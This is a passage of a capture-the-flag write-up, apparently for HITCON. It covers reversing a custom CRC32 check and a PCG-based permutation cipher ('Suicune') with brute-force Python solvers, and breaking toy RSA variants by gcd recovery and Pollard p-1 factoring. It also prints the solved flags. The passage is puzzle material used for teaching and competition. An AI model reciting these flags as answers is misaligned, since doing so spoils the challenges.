82: 25 20 83 b8 ed and eax,0xedb88320
87: 31 d0 xor eax,edx
89: 89 45 f0 mov DWORD PTR [rbp-0x10],eax
8c: 83 6d e8 01 sub DWORD PTR [rbp-0x18],0x1
90: 83 7d e8 00 cmp DWORD PTR [rbp-0x18],0x0
94: 79 d7 jns 0x6d
96: 8b 45 e4 mov eax,DWORD PTR [rbp-0x1c]
99: 48 63 d0 movsxd rdx,eax
9c: 48 8b 45 d8 mov rax,QWORD PTR [rbp-0x28]
a0: 48 01 d0 add rax,rdx
a3: 0f b6 00 movzx eax,BYTE PTR [rax]
a6: 84 c0 test al,al
a8: 75 98 jne 0x42
aa: 81 7d f0 29 01 99 29 cmp DWORD PTR [rbp-0x10],0x29990129
b1: 74 07 je 0xba
b3: c7 45 ec 00 00 00 00 mov DWORD PTR [rbp-0x14],0x0
ba: 8b 45 ec mov eax,DWORD PTR [rbp-0x14]
bd: 5d pop rbp
be: c3 ret
It's the end of the journey. 0xedb88320
tell me that it could be a customized crc32. But since we have the sha256 hash of the flag and the last part of flag is only 4 bytes long, I just brute force to get the flag
It tooks me only about 1 minute to get the complete flag which is hitcon{tH4nK_U_s0_muCh_F0r_r3c0v3r1ng_+h3_fL4g_1_Luv_y0u_<3}
Suicune
After the some reverse on the binary, we found some thing:
- the valid key range is in 0~65535
- look like this pusudo code.
for i in range(0x10):
rand = shuffle(range(256))
rand = sorted?(rand[:len(flag)])
flag = [a^b for a, b in zip(flag, rand)][::-1]
But after some try, this is not correct....
And we found the sorted
would use this randq
to break earlier...
v53 = v35->cLCG;
v35->cLCG = v35->u1 + 0x5851F42D4C957F2DLL * v35->cLCG;
LODWORD(randq) = __ROR4__((v53 ^ (v53 >> 18)) >> 27, v53 >> 59);
v53 = v35->cLCG;
v35->cLCG = v35->u1 + 0x5851F42D4C957F2DLL * v35->cLCG;
HIDWORD(randq) = __ROR4__((v53 ^ (v53 >> 18)) >> 27, v53 >> 59);
And there is a table between input flag length and the execution time.
Flag len | Time |
---|---|
9 | 0.3s |
10 | 3s |
11 | 42s |
12 | 453s |
So we guess the time complexity is O(N!)
or O(N*N!)
.
And using next_permutation
function to sort is O(N*N!)
.
Bingo! We get the solution!
m64 = (1 << 64) - 1
m32 = (1 << 32) - 1
state = 1234
state = 0x5851F42D4C957F2D * state + 0x5851F42D4C957F2E
state = state & m64
def ror4(a, b):
a = a & m32
l = a >> b
h = a << (32 - b)
assert (l & h) == 0
return (l | h) & m32
def rand_nxt():
global state
x = state
state = (1 + 0x5851F42D4C957F2D * state) & m64
return ror4((x ^ (x >> 18)) >> 27, x >> 59)
def rand(maxval):
wtf = (-maxval & m32) % maxval
if wtf:
while True:
x = rand_nxt()
if x < ((-wtf) & m32):
break
else:
x = rand_nxt()
return x % maxval
flag = list(bytes.fromhex('18427c4babb247e51115'))[::-1]
level=[1]
for i in range(1,50):
level.append(level[-1]*i)
def get_perm_ord(ary,index,len):
if len == 1:
return 0
bgr=0
for i in range(1,len):
bgr += ary[index] > ary[index+i]
return bgr*level[len-1]+get_perm_ord(ary,index+1,len-1)
def find_kth_permuation(k, arr):
if not arr:
return []
assert 0 <= k < level[len(arr)], 'k is in wrong range'
ans = []
while arr:
block_size = level[len(arr) - 1]
block = k//block_size
ans.append(arr[block])
del arr[block]
k = k - block_size * block
return ans
for key in range(65536):
#for key in range(1234,1235,1):
if key%10 ==0:
print(key)
state = 0x5851F42D4C957F2D * key + 0x5851F42D4C957F2E
state = state & m64
flag = list(bytes.fromhex('04dd5a70faea88b76e4733d0fa346b086e2c0efd7d2815e3b6ca118ab945719970642b2929b18a71b28d87855796e344d8'))[::-1]
for _ in range(0x10):
arr = list(range(256))
for i in range(len(arr) - 1, 0, -1):
j = rand(i + 1)
arr[i], arr[j] = arr[j], arr[i]
arr=arr[:len(flag)]
perm = get_perm_ord(arr,0,len(flag))
magic=rand_nxt()
magic+=rand_nxt()<<32
perm+=magic
if(perm<0):
perm=0
if(perm>=level[len(flag)]):
perm=level[len(flag)]-1
arr = sorted(arr[:len(flag)])
arr = find_kth_permuation(perm,arr)
flag = [a ^ b for a, b in zip(flag[::-1], arr)]
flag=flag[::-1]
if flag[0]==ord('h') and flag[1]==ord('i') and flag[2]==ord('t') and flag[3]==ord('c') and flag[4]==ord('o') and flag[5]==ord('n'):
print(key)
print(bytes(flag))
exit(0)
hitcon{nth_perm_Ruby_for_writing_X_C_for_running}
Crypto
Lost Modulus Again
We derived following equations from the cipher scheme
qq' = bp + 1
pp' = cq + 1
bc = p'q' - 1
b + p' = q
c + q' = p
pp' + qq' - 1 = pq
(p-1)(q-1)
= pq - p - q + 1
= pp' + qq' - 1 - p - q + 1
= p(p' - 1) + q(q' - 1)
And then we use egcd to recover those p, q.
Given the factor of public key, we can get the flag with normal RSA operations.
Lost Key Again
Send empty string, 00
and 0000
will get Enc(prefix)
, Enc(prefix * 256)
and Enc(prefix * 256^2)
.
Enc(prefix * 256)^2 = Enc(prefix) * Enc(prefix * 256^2) mod N
We can recover N
by their gcd.
After some testing, we found N
is composed by smooth prime.
We can factor it with pollard p-1 algorithm and win.
Very simple haskell
After some reversing, we find that it will select some primes based on input bits and multiplies them together.
bit2int = lambda x: int(''.join(map(str, x)), 2)
m = 129105988525739869308153101831605950072860268575706582195774923614094296354415364173823406181109200888049609207238266506466864447780824680862439187440797565555486108716502098901182492654356397840996322893263870349262138909453630565384869193972124927953237311411285678188486737576555535085444384901167109670365
z = enc * libnum.invmod(m, n) % n
bits = [(z % p == 0) * 1 for p in primes]
for i in range(0, 8*20, 8):
print(chr(bit2int(bits[5:][i:i+8])))